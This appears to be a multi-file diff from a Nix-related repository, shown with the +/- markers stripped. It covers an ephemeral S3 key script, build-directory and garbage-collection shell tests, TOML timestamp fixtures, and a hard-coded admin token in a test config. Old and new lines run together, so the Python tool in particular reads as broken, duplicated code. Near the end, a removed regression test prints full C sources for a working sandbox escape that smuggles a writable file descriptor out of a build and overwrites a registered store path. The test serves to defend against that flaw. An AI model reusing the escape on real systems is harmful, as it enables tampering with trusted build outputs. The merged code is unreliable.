class Key:
name: str
id: str
secret_key: Optional[str] = None
def get_bucket_id(bucket_name: str) -> str:
resp: dict = api(
"GET", "/v2/GetBucketInfo", params={"globalAlias": bucket_name}
)
return resp["id"]
@dataclasses.dataclass
class Bucket:
id: str
def keys() -> list[Key]:
data: list[dict] = api('GET', '/v1/key?list')
return [Key(name=k['name'], id=k['id']) for k in data]
def delete_key(key: Key):
api('DELETE', '/v1/key', resp_json=False, params={'id': key.id})
def create_key(name: str) -> Key:
resp: dict = api('POST', '/v1/key', json={'name': name})
return Key(name=resp['name'],
id=resp['accessKeyId'],
secret_key=resp['secretAccessKey'])
AccessType = Literal['read'] | Literal['write'] | Literal['owner']
def get_bucket(bucket_name: str) -> Bucket:
resp: dict = api('GET', '/v1/bucket', params={'globalAlias': bucket_name})
return Bucket(resp['id'])
def grant(bucket: Bucket, access_types: list[AccessType], key: Key):
access_types_dict = {k: True for k in access_types}
api('POST',
'/v1/bucket/allow',
json={
'bucketId': bucket.id,
'accessKeyId': key.id,
'permissions': access_types_dict,
})
KEY_RE = re.compile(r'^.*ephemeral-(\d{14})$')
DATEFMT = '%Y%m%d%H%M%S'
def expired_keys(older_than: datetime.datetime) -> list[Key]:
ret = []
for key in keys():
if m := KEY_RE.match(key.name):
date = datetime.datetime.strptime(m.group(1), DATEFMT)
date = date.astimezone(datetime.UTC)
print(date)
if date < older_than:
ret.append(key)
return ret
DATEFMT = "%Y%m%d%H%M%S"
def do_new(args):
buckets = [get_bucket(b) for b in args.buckets]
for b in args.buckets:
if not BUCKET_REGEX.match(b):
print(f"Bucket {b} not in allowed buckeds '{BUCKET_REGEX_STR}'")
exit(1)
bucket_ids = [get_bucket_id(b) for b in args.buckets]
def optional(s: str, whether) -> list[str]:
if whether:
return [s]
else:
return []
key_name = args.name + "-" if args.name else ""
expiration = datetime.datetime.now(tz=datetime.UTC) + datetime.timedelta(
seconds=args.age_secs
)
key_name += "ephemeral-" + expiration.strftime(DATEFMT)
access_types: list[AccessType] = optional('read', args.read) + optional(
'write', args.write) + optional('owner', args.owner) # type: ignore
key_resp: dict = api(
"POST",
"/v2/CreateKey",
json={
"name": key_name,
"expiration": expiration.isoformat(),
"neverExpires": False,
},
)
key_name = args.name + '-' if args.name else ''
key_name += "ephemeral-" + (
datetime.datetime.now(tz=datetime.UTC) +
datetime.timedelta(seconds=args.age_secs)).strftime(DATEFMT)
for b in bucket_ids:
api(
"POST",
"/v2/AllowBucketKey",
json={
"accessKeyId": key_resp["accessKeyId"],
"bucketId": b,
"permissions": {
"read": args.read,
"write": args.write,
"owner": args.owner,
},
},
)
k = create_key(key_name)
for b in buckets:
grant(b, access_types, k)
print(json.dumps(dataclasses.asdict(k), indent=2))
def do_clean(args):
older_than = datetime.datetime.now(tz=datetime.UTC)
for key in expired_keys(older_than):
delete_key(key)
print(
json.dumps(
{
"name": key_resp["name"],
"id": key_resp["accessKeyId"],
"secret_key": key_resp["secretAccessKey"],
},
indent=2,
)
)
def main():
@@ -148,28 +122,27 @@ def main():
new = sps.add_parser("new", help="Make an ephemeral key")
new.add_argument("--name", help="Name prefix for the key")
new.add_argument("--read",
action="store_true",
help="Grant read access to buckets")
new.add_argument("--write",
action="store_true",
help="Grant write access to buckets")
new.add_argument("--owner",
action="store_true",
help="Grant owner access to buckets")
new.add_argument("--age-secs",
type=int,
required=True,
help="Maximum key lifetime in seconds")
new.add_argument("buckets", nargs='*', help="Buckets to grant access to")
new.add_argument(
"--read", action="store_true", help="Grant read access to buckets"
)
new.add_argument(
"--write", action="store_true", help="Grant write access to buckets"
)
new.add_argument(
"--owner", action="store_true", help="Grant owner access to buckets"
)
new.add_argument(
"--age-secs",
type=int,
required=True,
help="Maximum key lifetime in seconds",
)
new.add_argument("buckets", nargs="*", help="Buckets to grant access to")
new.set_defaults(cmd=do_new)
clean = sps.add_parser("clean", help="Clean up old keys")
clean.set_defaults(cmd=do_clean)
args = ap.parse_args()
args.cmd(args)
if __name__ == '__main__':
if __name__ == "__main__":
main()
+1 -1
View File
@@ -14,7 +14,7 @@ def get_ephemeral_key(
env.docs_bucket.removeprefix('s3://'),
]
if env.s3_ssh_host is not None:
command = ['ssh', '-l', 'root', env.s3_ssh_host, *command]
command = ['ssh', f'{env.s3_ssh_user}@{env.s3_ssh_host}', *command]
output = subprocess.check_output(command)
d = json.loads(output.decode())
return environment.S3Credentials(name=d['name'],
+6
View File
@@ -65,6 +65,12 @@ in
environment.sessionVariables = {
GARAGE_ADMIN_TOKEN = "UkLeGWEvHnXBqnueR3ISEMWpOnm40jH2tM2HnnL/0F4=";
};
# ≥ v6.12 kernel has a system wide corruption related to 9p. wait until
# https://lore.kernel.org/all/w5ap2zcsatkx4dmakrkjmaexwh3mnmgc5vhavb2miaj6grrzat@7kzr5vlsrmh5/
# resolves. once this is resolved and the fix lands in a stable kernel
# in nixpkgs, this pin can be removed.
boot.kernelPackages = pkgs.linuxPackages_6_6;
};
};
testScript = ''
@@ -8,7 +8,6 @@ requireSandboxSupport
[[ $busybox =~ busybox ]] || skipTest "no busybox"
unset NIX_STORE_DIR
unset NIX_STATE_DIR
# We first build a dependency of the derivation we eventually want to
# build.
@@ -2,7 +2,6 @@ requireSandboxSupport
[[ $busybox =~ busybox ]] || skipTest "no busybox"
unset NIX_STORE_DIR
unset NIX_STATE_DIR
remoteDir=$TEST_ROOT/remote
+1 -2
View File
@@ -3,7 +3,6 @@ requireSandboxSupport
# Avoid store dir being inside sandbox build-dir
unset NIX_STORE_DIR
unset NIX_STATE_DIR
function join_by { local d=$1; shift; echo -n "$1"; shift; printf "%s" "${@/#/$d}"; }
@@ -81,4 +80,4 @@ out="$(nix-build 2>&1 failing.nix \
[[ "$out" =~ .*"note: keeping build directory".* ]]
build_dir="$(grep "note: keeping build" <<< "$out" | sed -E "s/^(.*)note: keeping build directory '(.*)'(.*)$/\2/")"
[[ "foo" = $(<"$build_dir"/bar) ]]
[[ "foo" = $(<"$build_dir"/b/bar) ]]
+25
View File
@@ -174,3 +174,28 @@ test "$(<<<"$out" grep -E '^error:' | wc -l)" = 3
<<<"$out" grepQuiet -E "error: 2 dependencies of derivation '.*-x4\\.drv' failed to build"
<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x3\\.drv'"
<<<"$out" grepQuiet -vE "hash mismatch in fixed-output derivation '.*-x2\\.drv'"
# Ensure when if the system build dir is inaccessible, we can still build things
BUILD_DIR=$(mktemp -d)
chmod 0000 "$BUILD_DIR"
nix --build-dir "$BUILD_DIR" build -E 'with import ./config.nix; mkDerivation { name = "test"; buildCommand = "echo rawr > $out"; }' --impure --no-link
# ensure that the build directory parent is not world-accessible
chmod 0755 "$BUILD_DIR"
FIFO="$BUILD_DIR/fifo"
mkfifo "$FIFO"
(
echo > "$FIFO"
trap 'echo > "$FIFO"' EXIT
mode=$(stat -c %a $BUILD_DIR/b/*)
[ "$mode" = "700" -o "$mode" = "710" ]
) &
nix build --build-dir "$BUILD_DIR/b" -E '
with import ./config.nix; mkDerivation {
name = "test";
buildCommand = "cat '"$FIFO"'; cat '"$FIFO"' > $out";
}' \
--extra-sandbox-paths "$FIFO" \
--impure \
--no-link
wait
+4 -27
View File
@@ -37,39 +37,16 @@ if checkBuildTempDirRemoved $TEST_ROOT/log; then false; fi
test_custom_build_dir() {
local customBuildDir="$TEST_ROOT/custom-build-dir"
# Nix does not create the parent directories, and perhaps it shouldn't try to
# decide the permissions of build-dir.
mkdir "$customBuildDir"
nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \
--no-out-link --keep-failed --option build-dir "$TEST_ROOT/custom-build-dir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customBuildDir/nix-build-"*)" ]]
local buildDir="$customBuildDir/nix-build-"*
grep $checkBuildId $buildDir/checkBuildId
[[ 1 == "$(count "$customBuildDir/"*)" ]]
local buildDir="$customBuildDir/"*
grep $checkBuildId $buildDir/checkBuildId \
|| grep $checkBuildId $buildDir/b/checkBuildId
}
test_custom_build_dir
test_custom_temp_dir() {
# like test_custom_build_dir(), but uses the temp-dir setting instead
# build-dir inherits from temp-dir when build-dir is unset
local customTempDir="$TEST_ROOT/custom-temp-dir"
mkdir "$customTempDir"
nix-build check.nix -A failed --argstr checkBuildId $checkBuildId \
--no-out-link --keep-failed --option temp-dir "$customTempDir" 2> $TEST_ROOT/log || status=$?
[ "$status" = "100" ]
[[ 1 == "$(count "$customTempDir/nix-build-"*)" ]]
local buildDir="$customTempDir/nix-build-"*
grep $checkBuildId $buildDir/checkBuildId
# also check a separate code path that doesn't involve build-dir
# nix-shell uses temp-dir for its rcfile path
rcpath=$(NIX_BUILD_SHELL=$SHELL nix-shell check.nix -A deterministic --option temp-dir "$customTempDir" --run 'echo $0' 2> $TEST_ROOT/log)
# rcpath is <temp-dir>/nix-shell-*/rc
[[ $rcpath = "$customTempDir"/* ]]
}
test_custom_temp_dir
test_shell_preserves_tmpdir() {
# ensure commands that spawn interactive shells don't overwrite TMPDIR with temp-dir
local envTempDir=$TEST_ROOT/shell-temp-dir-env
+7 -4
View File
@@ -4,6 +4,13 @@ needLocalStore "“min-free” and “max-free” are daemon options"
clearStore
fake_free=$TEST_ROOT/fake-free
export _NIX_TEST_FREE_SPACE_FILE=$fake_free
echo 1100 > $fake_free
# Check that auto-GC during evaluation progresses.
timeout --signal=KILL 10s nix eval --expr 'builtins.toFile "meow" "meow"' --min-free 2000
garbage1=$(nix store add-path --name garbage1 ./nar-access.sh)
garbage2=$(nix store add-path --name garbage2 ./nar-access.sh)
garbage3=$(nix store add-path --name garbage3 ./nar-access.sh)
@@ -11,10 +18,6 @@ garbage3=$(nix store add-path --name garbage3 ./nar-access.sh)
ls -l $garbage3
POSIXLY_CORRECT=1 du $garbage3
fake_free=$TEST_ROOT/fake-free
export _NIX_TEST_FREE_SPACE_FILE=$fake_free
echo 1100 > $fake_free
fifoLock=$TEST_ROOT/fifoLock
mkfifo "$fifoLock"
@@ -55,11 +55,53 @@ builtins.fromTOML ''
odt2 = 1979-05-27T00:32:00-07:00
odt3 = 1979-05-27T00:32:00.999999-07:00
odt4 = 1979-05-27 07:32:00Z
# milliseconds
odt5 = 1979-05-27 07:32:00.1Z
odt6 = 1979-05-27 07:32:00.12Z
odt7 = 1979-05-27 07:32:00.123Z
# microseconds
odt8 = 1979-05-27t07:32:00.1234Z
odt9 = 1979-05-27t07:32:00.12345Z
odt10 = 1979-05-27t07:32:00.123456Z
# nanoseconds
odt11 = 1979-05-27 07:32:00.1234567Z
odt12 = 1979-05-27 07:32:00.12345678Z
odt13 = 1979-05-27 07:32:00.123456789Z
# no more precision after nanoseconds
odt14 = 1979-05-27t07:32:00.1234567891Z
ldt1 = 1979-05-27T07:32:00
ldt2 = 1979-05-27T00:32:00.999999
# milliseconds
ldt2 = 1979-05-27T07:32:00.1
ldt3 = 1979-05-27T07:32:00.12
ldt4 = 1979-05-27T07:32:00.123
# microseconds
ldt5 = 1979-05-27t00:32:00.1234
ldt6 = 1979-05-27t00:32:00.12345
ldt7 = 1979-05-27t00:32:00.123456
# nanoseconds
ldt8 = 1979-05-27 00:32:00.1234567
ldt9 = 1979-05-27 00:32:00.12345678
ldt10 = 1979-05-27 00:32:00.123456789
# no more precision after nanoseconds
ldt11 = 1979-05-27t00:32:00.1234567891
ld1 = 1979-05-27
lt1 = 07:32:00
lt2 = 00:32:00.999999
# milliseconds
lt2 = 00:32:00.1
lt3 = 00:32:00.12
lt4 = 00:32:00.123
# microseconds
lt5 = 00:32:00.1234
lt6 = 00:32:00.12345
lt7 = 00:32:00.123456
# nanoseconds
lt8 = 00:32:00.1234567
lt9 = 00:32:00.12345678
lt10 = 00:32:00.123456789
# no more precision after nanoseconds
lt11 = 00:32:00.1234567891
arr1 = [ 1, 2, 3 ]
arr2 = [ "red", "yellow", "green" ]
@@ -1 +1 @@
{ "1234" = "value"; "127.0.0.1" = "value"; a = { b = { c = { }; }; }; arr1 = [ 1 2 3 ]; arr2 = [ "red" "yellow" "green" ]; arr3 = [ [ 1 2 ] [ 3 4 5 ] ]; arr4 = [ "all" "strings" "are the same" "type" ]; arr5 = [ [ 1 2 ] [ "a" "b" "c" ] ]; arr7 = [ 1 2 3 ]; arr8 = [ 1 2 ]; bare-key = "value"; bare_key = "value"; bin1 = 214; bool1 = true; bool2 = false; "character encoding" = "value"; d = { e = { f = { }; }; }; dog = { "tater.man" = { type = { name = "pug"; }; }; }; flt1 = 1; flt2 = 3.1415; flt3 = -0.01; flt4 = 5e+22; flt5 = 1e+06; flt6 = -0.02; flt7 = 6.626e-34; flt8 = 9.22462e+06; fruit = [ { name = "apple"; physical = { color = "red"; shape = "round"; }; variety = [ { name = "red delicious"; } { name = "granny smith"; } ]; } { name = "banana"; variety = [ { name = "plantain"; } ]; } ]; g = { h = { i = { }; }; }; hex1 = 3735928559; hex2 = 3735928559; hex3 = 3735928559; int1 = 99; int2 = 42; int3 = 0; int4 = -17; int5 = 1000; int6 = 5349221; int7 = 12345; j = { "ʞ" = { l = { }; }; }; key = "value"; key2 = "value"; ld1 = { _type = "timestamp"; value = "1979-05-27"; }; ldt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00"; }; ldt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999"; }; lt1 = { _type = "timestamp"; value = "07:32:00"; }; lt2 = { _type = "timestamp"; value = "00:32:00.999999"; }; name = "Orange"; oct1 = 342391; oct2 = 493; odt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00-07:00"; }; odt3 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999-07:00"; }; odt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; physical = { color = "orange"; shape = "round"; }; products = [ { name = "Hammer"; sku = 738594937; } { } { color = "gray"; name = "Nail"; sku = 284758393; } ]; "quoted \"value\"" = "value"; site = { "google.com" = true; }; str = "I'm a string. \"You can quote me\". Name\tJosé\nLocation\tSF."; table-1 = { key1 = "some string"; key2 = 123; }; table-2 = { key1 = "another string"; key2 = 456; }; x = { y = { z = { w = { animal = { type = { name = "pug"; }; }; name = { first = "Tom"; last = "Preston-Werner"; }; point = { x = 1; y = 2; }; }; }; }; }; "ʎǝʞ" = "value"; }
{ "1234" = "value"; "127.0.0.1" = "value"; a = { b = { c = { }; }; }; arr1 = [ 1 2 3 ]; arr2 = [ "red" "yellow" "green" ]; arr3 = [ [ 1 2 ] [ 3 4 5 ] ]; arr4 = [ "all" "strings" "are the same" "type" ]; arr5 = [ [ 1 2 ] [ "a" "b" "c" ] ]; arr7 = [ 1 2 3 ]; arr8 = [ 1 2 ]; bare-key = "value"; bare_key = "value"; bin1 = 214; bool1 = true; bool2 = false; "character encoding" = "value"; d = { e = { f = { }; }; }; dog = { "tater.man" = { type = { name = "pug"; }; }; }; flt1 = 1; flt2 = 3.1415; flt3 = -0.01; flt4 = 5e+22; flt5 = 1e+06; flt6 = -0.02; flt7 = 6.626e-34; flt8 = 9.22462e+06; fruit = [ { name = "apple"; physical = { color = "red"; shape = "round"; }; variety = [ { name = "red delicious"; } { name = "granny smith"; } ]; } { name = "banana"; variety = [ { name = "plantain"; } ]; } ]; g = { h = { i = { }; }; }; hex1 = 3735928559; hex2 = 3735928559; hex3 = 3735928559; int1 = 99; int2 = 42; int3 = 0; int4 = -17; int5 = 1000; int6 = 5349221; int7 = 12345; j = { "ʞ" = { l = { }; }; }; key = "value"; key2 = "value"; ld1 = { _type = "timestamp"; value = "1979-05-27"; }; ldt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00"; }; ldt10 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456789"; }; ldt11 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456789"; }; ldt2 = { _type = "timestamp"; value = "1979-05-27T07:32:00.100"; }; ldt3 = { _type = "timestamp"; value = "1979-05-27T07:32:00.120"; }; ldt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123"; }; ldt5 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123400"; }; ldt6 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123450"; }; ldt7 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456"; }; ldt8 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456700"; }; ldt9 = { _type = "timestamp"; value = "1979-05-27T00:32:00.123456780"; }; lt1 = { _type = "timestamp"; value = "07:32:00"; }; lt10 = { _type = "timestamp"; value = "00:32:00.123456789"; }; lt11 = { _type = "timestamp"; value = "00:32:00.123456789"; }; lt2 = { _type = "timestamp"; value = "00:32:00.100"; }; lt3 = { _type = "timestamp"; value = "00:32:00.120"; }; lt4 = { _type = "timestamp"; value = "00:32:00.123"; }; lt5 = { _type = "timestamp"; value = "00:32:00.123400"; }; lt6 = { _type = "timestamp"; value = "00:32:00.123450"; }; lt7 = { _type = "timestamp"; value = "00:32:00.123456"; }; lt8 = { _type = "timestamp"; value = "00:32:00.123456700"; }; lt9 = { _type = "timestamp"; value = "00:32:00.123456780"; }; name = "Orange"; oct1 = 342391; oct2 = 493; odt1 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt10 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456Z"; }; odt11 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456700Z"; }; odt12 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456780Z"; }; odt13 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456789Z"; }; odt14 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123456789Z"; }; odt2 = { _type = "timestamp"; value = "1979-05-27T00:32:00-07:00"; }; odt3 = { _type = "timestamp"; value = "1979-05-27T00:32:00.999999-07:00"; }; odt4 = { _type = "timestamp"; value = "1979-05-27T07:32:00Z"; }; odt5 = { _type = "timestamp"; value = "1979-05-27T07:32:00.100Z"; }; odt6 = { _type = "timestamp"; value = "1979-05-27T07:32:00.120Z"; }; odt7 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123Z"; }; odt8 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123400Z"; }; odt9 = { _type = "timestamp"; value = "1979-05-27T07:32:00.123450Z"; }; physical = { color = "orange"; shape = "round"; }; products = [ { name = "Hammer"; sku = 738594937; } { } { color = "gray"; name = "Nail"; sku = 284758393; } ]; "quoted \"value\"" = "value"; site = { "google.com" = true; }; str = "I'm a string. \"You can quote me\". Name\tJosé\nLocation\tSF."; table-1 = { key1 = "some string"; key2 = 123; }; table-2 = { key1 = "another string"; key2 = 456; }; x = { y = { z = { w = { animal = { type = { name = "pug"; }; }; name = { first = "Tom"; last = "Preston-Werner"; }; point = { x = 1; y = 2; }; }; }; }; }; "ʎǝʞ" = "value"; }
@@ -55,11 +55,53 @@ builtins.fromTOML ''
odt2 = 1979-05-27T00:32:00-07:00
odt3 = 1979-05-27T00:32:00.999999-07:00
odt4 = 1979-05-27 07:32:00Z
# milliseconds
odt5 = 1979-05-27 07:32:00.1Z
odt6 = 1979-05-27 07:32:00.12Z
odt7 = 1979-05-27 07:32:00.123Z
# microseconds
odt8 = 1979-05-27t07:32:00.1234Z
odt9 = 1979-05-27t07:32:00.12345Z
odt10 = 1979-05-27t07:32:00.123456Z
# nanoseconds
odt11 = 1979-05-27 07:32:00.1234567Z
odt12 = 1979-05-27 07:32:00.12345678Z
odt13 = 1979-05-27 07:32:00.123456789Z
# no more precision after nanoseconds
odt14 = 1979-05-27t07:32:00.1234567891Z
ldt1 = 1979-05-27T07:32:00
ldt2 = 1979-05-27T00:32:00.999999
# milliseconds
ldt2 = 1979-05-27T07:32:00.1
ldt3 = 1979-05-27T07:32:00.12
ldt4 = 1979-05-27T07:32:00.123
# microseconds
ldt5 = 1979-05-27t00:32:00.1234
ldt6 = 1979-05-27t00:32:00.12345
ldt7 = 1979-05-27t00:32:00.123456
# nanoseconds
ldt8 = 1979-05-27 00:32:00.1234567
ldt9 = 1979-05-27 00:32:00.12345678
ldt10 = 1979-05-27 00:32:00.123456789
# no more precision after nanoseconds
ldt11 = 1979-05-27t00:32:00.1234567891
ld1 = 1979-05-27
lt1 = 07:32:00
lt2 = 00:32:00.999999
# milliseconds
lt2 = 00:32:00.1
lt3 = 00:32:00.12
lt4 = 00:32:00.123
# microseconds
lt5 = 00:32:00.1234
lt6 = 00:32:00.12345
lt7 = 00:32:00.123456
# nanoseconds
lt8 = 00:32:00.1234567
lt9 = 00:32:00.12345678
lt10 = 00:32:00.123456789
# no more precision after nanoseconds
lt11 = 00:32:00.1234567891
arr1 = [ 1, 2, 3 ]
arr2 = [ "red", "yellow", "green" ]
+1
View File
@@ -132,6 +132,7 @@ set -u
[[ ${arr2[1]} = $'\n' ]]
[[ ${arr2[2]} = $'x\ny' ]]
[[ $(fun) = blabla ]]
[[ "$ASCII_ESC" = "$(printf "\e")" ]]
[[ $PATH = $(jq -r .variables.PATH.value $TEST_ROOT/dev-env.json):$path ]]
)
+1
View File
@@ -50,6 +50,7 @@ let pkgs = rec {
VAR_FROM_NIX = "bar";
ASCII_PERCENT = "%";
ASCII_AT = "@";
ASCII_ESC = "";
TEST_inNixShell = if inNixShell then "true" else "false";
inherit stdenv;
outputs = ["dev" "out"];
@@ -1,12 +1,11 @@
nix-repl> 1 + 1
2
nix-repl> :doc builtins.head
Synopsis: builtins.head list
nix-repl> :doc builtins.add
Synopsis: builtins.add e1 e2
Return the sum of the numbers e1 and e2.
Return the first element of a list; abort evaluation if
the argument isnt a list or is an empty list. You can
test whether a list is empty by comparing it with [].
nix-repl> f = a: "" + a
-1
View File
@@ -10,7 +10,6 @@ unshare --mount --map-root-user bash <<EOF
# Avoid store dir being inside sandbox build-dir
unset NIX_STORE_DIR
unset NIX_STATE_DIR
setLocalStore () {
export NIX_REMOTE=\$TEST_ROOT/\$1
+11 -10
View File
@@ -107,9 +107,9 @@ class NixSettings:
field_may("experimental-features", self.experimental_features)
field_may("store", self.store)
assert (
self.store or self.nix_store_dir
), "Failing to set either nix_store_dir or store will cause accidental use of the system store."
assert self.store or self.nix_store_dir, (
"Failing to set either nix_store_dir or store will cause accidental use of the system store."
)
return config
def to_env_overlay(self) -> dict[str, str]:
@@ -215,13 +215,14 @@ class Nix:
def nix(self, cmd: list[str], nix_exe: str = "nix", flake: bool = False) -> NixCommand:
return self.nix_cmd([nix_exe, *cmd], flake=flake)
nix_build = partialmethod(nix, nix_exe="nix-build")
nix_shell = partialmethod(nix, nix_exe="nix-shell")
nix_store = partialmethod(nix, nix_exe="nix-store")
nix_env = partialmethod(nix, nix_exe="nix-env")
nix_instantiate = partialmethod(nix, nix_exe="nix-instantiate")
nix_channel = partialmethod(nix, nix_exe="nix-channel")
nix_prefetch_url = partialmethod(nix, nix_exe="nix-prefetch-url")
# Mark each of these as correct as they are not ClassVars, but we also don't want to turn off RUF045
nix_build = partialmethod(nix, nix_exe="nix-build") # noqa: RUF045
nix_shell = partialmethod(nix, nix_exe="nix-shell") # noqa: RUF045
nix_store = partialmethod(nix, nix_exe="nix-store") # noqa: RUF045
nix_env = partialmethod(nix, nix_exe="nix-env") # noqa: RUF045
nix_instantiate = partialmethod(nix, nix_exe="nix-instantiate") # noqa: RUF045
nix_channel = partialmethod(nix, nix_exe="nix-channel") # noqa: RUF045
nix_prefetch_url = partialmethod(nix, nix_exe="nix-prefetch-url") # noqa: RUF045
def eval(self, expr: str, settings: NixSettings | None = None) -> CommandResult:
if settings is None:
-90
View File
@@ -1,90 +0,0 @@
# Nix is a sandboxed build system. But Not everything can be handled inside its
# sandbox: Network access is normally blocked off, but to download sources, a
# trapdoor has to exist. Nix handles this by having "Fixed-output derivations".
# The detail here is not important, but in our case it means that the hash of
# the output has to be known beforehand. And if you know that, you get a few
# rights: you no longer run inside a special network namespace!
#
# Now, Linux has a special feature, that not many other unices do: Abstract
# unix domain sockets! Not only that, but those are namespaced using the
# network namespace! That means that we have a way to create sockets that are
# available in every single fixed-output derivation, and also all processes
# running on the host machine! Now, this wouldn't be that much of an issue, as,
# well, the whole idea is that the output is pure, and all processes in the
# sandbox are killed before finalizing the output. What if we didn't need those
# processes at all? Unix domain sockets have a semi-known trick: you can pass
# file descriptors around!
# This makes it possible to exfiltrate a file-descriptor with write access to
# $out outside of the sandbox. And that file-descriptor can be used to modify
# the contents of the store path after it has been registered.
{ config, ... }:
let
pkgs = config.nodes.machine.nixpkgs.pkgs;
# Simple C program that sends a a file descriptor to `$out` to a Unix
# domain socket.
# Compiled statically so that we can easily send it to the VM and use it
# inside the build sandbox.
sender = pkgs.runCommandWith {
name = "sender";
stdenv = pkgs.pkgsStatic.stdenv;
} ''
$CC -static -o $out ${./sender.c}
'';
# Okay, so we have a file descriptor shipped out of the FOD now. But the
# Nix store is read-only, right? .. Well, yeah. But this file descriptor
# lives in a mount namespace where it is not! So even when this file exists
# in the actual Nix store, we're capable of just modifying its contents...
smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c);
# The abstract socket path used to exfiltrate the file descriptor
socketName = "FODSandboxExfiltrationSocket";
in
{
name = "ca-fd-leak";
nodes.machine =
{ config, lib, pkgs, ... }:
{ virtualisation.writableStore = true;
nix.settings.substituters = lib.mkForce [ ];
virtualisation.additionalPaths = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ];
};
testScript = { nodes }: ''
start_all()
machine.succeed("echo hello")
# Start the smuggler server
machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &")
# Build the smuggled derivation.
# This will connect to the smuggler server and send it the file descriptor
machine.succeed(r"""
nix-build -E '
builtins.derivation {
name = "smuggled";
system = builtins.currentSystem;
# look ma, no tricks!
outputHashMode = "flat";
outputHashAlgo = "sha256";
outputHash = builtins.hashString "sha256" "hello, world\n";
builder = "${pkgs.busybox-sandbox-shell}/bin/sh";
args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ];
}'
""".strip())
# Tell the smuggler server that we're done
machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}")
# Check that the file was not modified
machine.succeed(r"""
cat ./result
test "$(cat ./result)" = "hello, world"
""".strip())
'';
}
-65
View File
@@ -1,65 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <string.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Set up a abstract domain socket path to connect to.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
// Now try to connect, To ensure we work no matter what order we are
// executed in, just busyloop here.
int res = -1;
while (res < 0) {
res = connect(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0 && errno != ECONNREFUSED) perror("connect");
if (errno != ECONNREFUSED) break;
}
// Write our message header.
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Write an SCM_RIGHTS message containing the output path.
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
hdr->cmsg_len = CMSG_LEN(sizeof(int));
hdr->cmsg_level = SOL_SOCKET;
hdr->cmsg_type = SCM_RIGHTS;
int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640);
memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
msg.msg_controllen = CMSG_SPACE(sizeof(int));
// Write a single null byte too.
msg.msg_iov = malloc(sizeof(struct iovec));
msg.msg_iov[0].iov_base = "";
msg.msg_iov[0].iov_len = 1;
msg.msg_iovlen = 1;
// Send it to the othher side of this connection.
res = sendmsg(sock, &msg, 0);
if (res < 0) perror("sendmsg");
int buf;
// Wait for the server to close the socket, implying that it has
// received the commmand.
recv(sock, (void *)&buf, sizeof(int), 0);
}
-66
View File
@@ -1,66 +0,0 @@
#include <sys/socket.h>
#include <sys/un.h>
#include <stdlib.h>
#include <stddef.h>
#include <stdio.h>
#include <unistd.h>
#include <assert.h>
int main(int argc, char **argv) {
assert(argc == 2);
int sock = socket(AF_UNIX, SOCK_STREAM, 0);
// Bind to the socket.
struct sockaddr_un data;
data.sun_family = AF_UNIX;
data.sun_path[0] = 0;
strcpy(data.sun_path + 1, argv[1]);
int res = bind(sock, (const struct sockaddr *)&data,
offsetof(struct sockaddr_un, sun_path)
+ strlen(argv[1])
+ 1);
if (res < 0) perror("bind");
res = listen(sock, 1);
if (res < 0) perror("listen");
int smuggling_fd = -1;
// Accept the connection a first time to receive the file descriptor.
fprintf(stderr, "%s\n", "Waiting for the first connection");
int a = accept(sock, 0, 0);
if (a < 0) perror("accept");
struct msghdr msg = {0};
msg.msg_control = malloc(128);
msg.msg_controllen = 128;
// Receive the file descriptor as sent by the smuggler.
recvmsg(a, &msg, 0);
struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
while (hdr) {
if (hdr->cmsg_level == SOL_SOCKET
&& hdr->cmsg_type == SCM_RIGHTS) {
// Grab the copy of the file descriptor.
memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int));
}
hdr = CMSG_NXTHDR(&msg, hdr);
}
fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection");
close(a);
// Wait for a second connection, which will tell us that the build is
// done
a = accept(sock, 0, 0);
fprintf(stderr, "%s\n", "Got a second connection, rewriting the file");
// Write a new content to the file
if (ftruncate(smuggling_fd, 0)) perror("ftruncate");
char * new_content = "Pwned\n";
int written_bytes = write(smuggling_fd, new_content, strlen(new_content));
